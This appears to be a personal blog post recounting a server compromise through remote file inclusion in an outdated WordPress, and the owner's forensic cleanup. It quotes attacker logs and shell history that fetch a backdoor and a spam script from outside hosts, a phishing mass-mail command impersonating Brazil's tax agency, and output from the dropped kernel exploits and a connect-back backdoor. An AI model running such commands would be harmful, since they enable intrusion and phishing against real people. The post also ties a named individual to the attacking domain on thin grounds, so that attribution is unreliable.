Dammit Leroy (Getting Haxored is No Fun)

Posted on by lhl

I was in Starbucks earlier this evening (yesterday) catching up on some things before flying back up north when Gabe IM’d me that Apache was down. The machine was pinging (a bit slow, but it could have been my connection). No worries, log in and kick httpd…

When I logged in, load was high, which was a bit odd since Apache was down, but not unheard of… but top was showing that Postfix was the program chewing up my resources. There error I got restarting Apache gave me a sinking feeling:

Apache2(98)Address already in use: make_sock: could not bind to address 0.0.0.0:80

Now, there are perfectly plausible explanations for this type of error. This, however, is not one that you want:

snowball lhl # netstat -lnp | grep '0.0.0.0:80'
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN     13715/r0nin

This was my first time any server I’ve run has been compromised, and it’s a bit embarrassing that it happened via remote file inclusion, but I suppose RFI is to traditional exploits how e-mail viruses were to the prior breed. It appears that my experience isn’t unique. I found serveral writes ups while I was doing forensic analysis (which I’ll outline my process and rationale for any other poor souls so afflicted):

I’m going to try to get some sleep, so I’ll skip the narrative, and save some of the post-mortem / next steps for another time.

  • First I killed Postfix. I didn’t do an exact count, but I’m guestimating that there was somewhere between 300K to 0.5M mails in the queue. I saved a couple but that actually turned out to not be necessary.
  • I found r0nin pretty quickly in /tmp along with some other files:
    brk, brk2, brk2.1, brk2.2, brk2.3, brk2.4, dc, dc.1, dc.2, dc.txt, kmod, kmod2, ptrace24, pwned, r0nin, r0nin.1, uselib24, uselib24.1, uselib24.2, uselib24.3, uselib24.4, w00t, w00t.1 — these are a mix of different versions, but also some duplicates. I chmod 000’d these and moved them to a forensics area.
  • I should probably mention that before doing those things, I did some sanity checks by checking my apt/sources.list and forcing fresh copies of chkrootkit and rkhunter, and basic utilities like netstat, who, ps, last etc to be reasonably sure (along w/ the nature of the compromise) that there wasn’t a live person at the other end. I also combed through the user files to look for anything unusual, but thankfully that seemed fine as well.
  • Next I killed just about everything and threw up ultra-paranoid iptables rules (everything off, SSH only from the IP I was sitting on and another safe entry point)
  • Grepping through my logs, these were the first things that popped out: 
    error.log.1:--16:01:20--  http://www.full-comandos.com/sougay/r0nin
error.log.1:           => `r0nin'
error.log.1:16:01:20 (190.09 KB/s) - `r0nin' saved [19258/19258]
error.log.1:--19:59:35--  http://www.full-comandos.com/sougay/r0nin
error.log.1:           => `r0nin.1'
error.log.1:19:59:35 (191.14 KB/s) - `r0nin.1' saved [19258/19258]
    error.log.1:--16:01:20--  http://www.full-comandos.com/sougay/r0nin
error.log.1:           => `r0nin'
error.log.1:16:01:20 (190.09 KB/s) - `r0nin' saved [19258/19258]
error.log.1:--19:59:35--  http://www.full-comandos.com/sougay/r0nin
error.log.1:           => `r0nin.1'
error.log.1:19:59:35 (191.14 KB/s) - `r0nin.1' saved [19258/19258]

    These corresponded to the second here:

    avantbard.com-access.log:201.29.25.2 - - [16/Dec/2005:16:01:20 -0800] "POST /corral//xmlrpc.php HTTP/1.1" 200 65 "-" "-"
avantbard.com-access.log:201.29.25.2 - - [16/Dec/2005:19:59:35 -0800] "POST /corral//xmlrpc.php HTTP/1.1" 200 13 "-" "-"

    Gabe was running a WordPress is not secure version of WP (1.2) here. Because of the ways logs were rotated / split up, and since I was looking for a GET query string, not a POST, it took me a while to match up the exact attack vector, which was one of the reasons that the site was down for a few hours (I just didn’t feel comfortable putting stuff back up willy nilly)

  • One of the things I decided to install before opening any of the iptables back up was mod_security. I’m now running mod_security with most of this how-to’s options and the Snort ruleset. It’s rather draconian at the moment, but that’s probably a better place to work from
  • Back to the spamming, there was a .bash_history in /var/tmp that showed what was actually done once the shell was exploitable. (This was only possible because my iptables weren’t properly loaded after reboots – now fixed) 
    uname -a
mkdir
mkdir .teste
mkdir .teste
curl 
curl -O www.canaldiboa.ubbi.com.br/enviar.pl
mkdir .teste
cd .teste
pwd
cd /tmp
tmp
/tmp
mount tmp
cd temp
ls
ls
/temp
ls
cd /tmp
ls
cd .teste
ls
ls
cd /tmp
ls
cd .teste
ls
mkdir .teste
ls
cd .teste
ls
wget www.canaldiboa.ubbi.com.br/enviar.pl
wget www.receita-fazenda.com/lista.txt
wget www.receita-fazenda.com/corpo.html
sed -e 's/@acessototal.com.br/@ufba.br/g' lista.txt > lista2.txt
perl enviar.pl lista2.txt Receita@receita.gov.br "URGENTE: Verifique seu CPF" corpo.html

    I ran a Sam Spade lookup on receita-fazenda.com and there are some interesting things here. The listed contact, Wayne Tanski, has caught the eye of another blogger, and there’s a site, http://dsoulzin.net/dsoul/ which has several perl/php scripts, no doubt for RFI. Wayne’s address is different from the one Sam Spade lists, but the connection of the dsoulzin domain name and the dsoulzin@hotmail.com mail address listed with the registrar is pretty telling. In anycase, the enviar.pl is the script that did the actual mail queue injection, which now is adequate to explain everything.

  • But… not good enough for me. Despite what chkrootkit and rkhunter said, I had to make sure the binaries that were put in tmp (and obviously run) hadn’t rooted the box… I’m running a Debian kernel (2.4.27-2 + patches) and while something like ptrace should definitely not work, something like uselib had me a bit worried. So, having blocked the IPs that they’d most likely be contacting if there were to do so, and knowing they’d probably been run already I su’d to www-data and ran them all… 
    snowball test $ ./brk2
[-] Unable to determine kernel address: Operation not supported
snowball test $ ./brk2.1
[-] Unable to determine kernel address: Operation not supported
snowball test $ ./brk2.2
[-] Unable to determine kernel address: Operation not supported
snowball test $ ./brk2.3
[-] Unable to determine kernel address: Operation not supported
snowball test $ ./brk2.4
[-] Unable to determine kernel address: Operation not supported
snowball test $ ./kmod
[-] Unable to attach: Operation not permitted
Killed
snowball test $ ./kmod2
[-] Unable to attach: Operation not permitted
Killed
snowball test $ ./ptrace24 
attached
Password: 
snowball test $ whoami
www-data
snowball test $ ./pwned 
COMPILED AND HOSTED BY ALBANIA SECURITY CLAN
irc.gigachat.net -j #ASC
linux kernel msync race condition
bug discovered by sd, 
further research by sd and *****
this is development-in-progress code,
redistribution prohibited!
=============================================
Segmentation fault
snowball test $ ./r0nin 
PsychoPhobia Backdoor is starting...OK, pid = 9581
snowball test $ ./dc randomfoo.net 1666
Data Cha0s Connect Back Backdoor

[*] Dumping Arguments
[*] Resolving Host Name
[*] Connecting...
[*] Spawning Shell
[*] Detached

www-data  9583  0.0  0.0  1444  368 ?        S    03:08   0:00 ./r0nin
www-data  9584  0.0  0.1  2748 1116 pts/10   S    03:08   0:00 shell
www-data  9585  0.0  0.1  2528 1312 ttyp0    Ss+  03:08   0:00 sh -i

snowball test $ ./uselib24

[+] SLAB cleanup
    child 1 VMAs 81
[+] moved stack bfffe000, task_size=0xc0000000, map_base=0xbf800000
[+] vmalloc area 0xc0400000 - 0xc043742f
    Wait... \--> prepare_slab(), 255Mb

[-] FAILED: try again 
Killed


[+] SLAB cleanup
    child 1 VMAs 65509
[+] moved stack bfffe000, task_size=0xc0000000, map_base=0xbf800000
[+] vmalloc area 0xc0400000 - 0xc043742f
    Wait... \--> prepare_slab(), 255Mb

[-] FAILED: try again 
Killed

snowball test $ ./w00t
[-] Unable to determine kernel address: Operation not supported

    The good news is that except for r0nin, it looks like these were all busts. And now, with mod_security and working iptable rules, this shouldn’t be able to happen again.

Right now I’ve only re-enabled randomfoo since beyond the mod_security, it’s code I’ve written that I know isn’t susceptible to any of this crap. I’ve spent a good 8 hours at this point on the cleanup and writeup, but on the bright side, this was a fairly benign attack and I’ve gotten around to doing a whole bunch of stuff I’ve been putting off. More on that after I get some sleep and after the, you know, day job.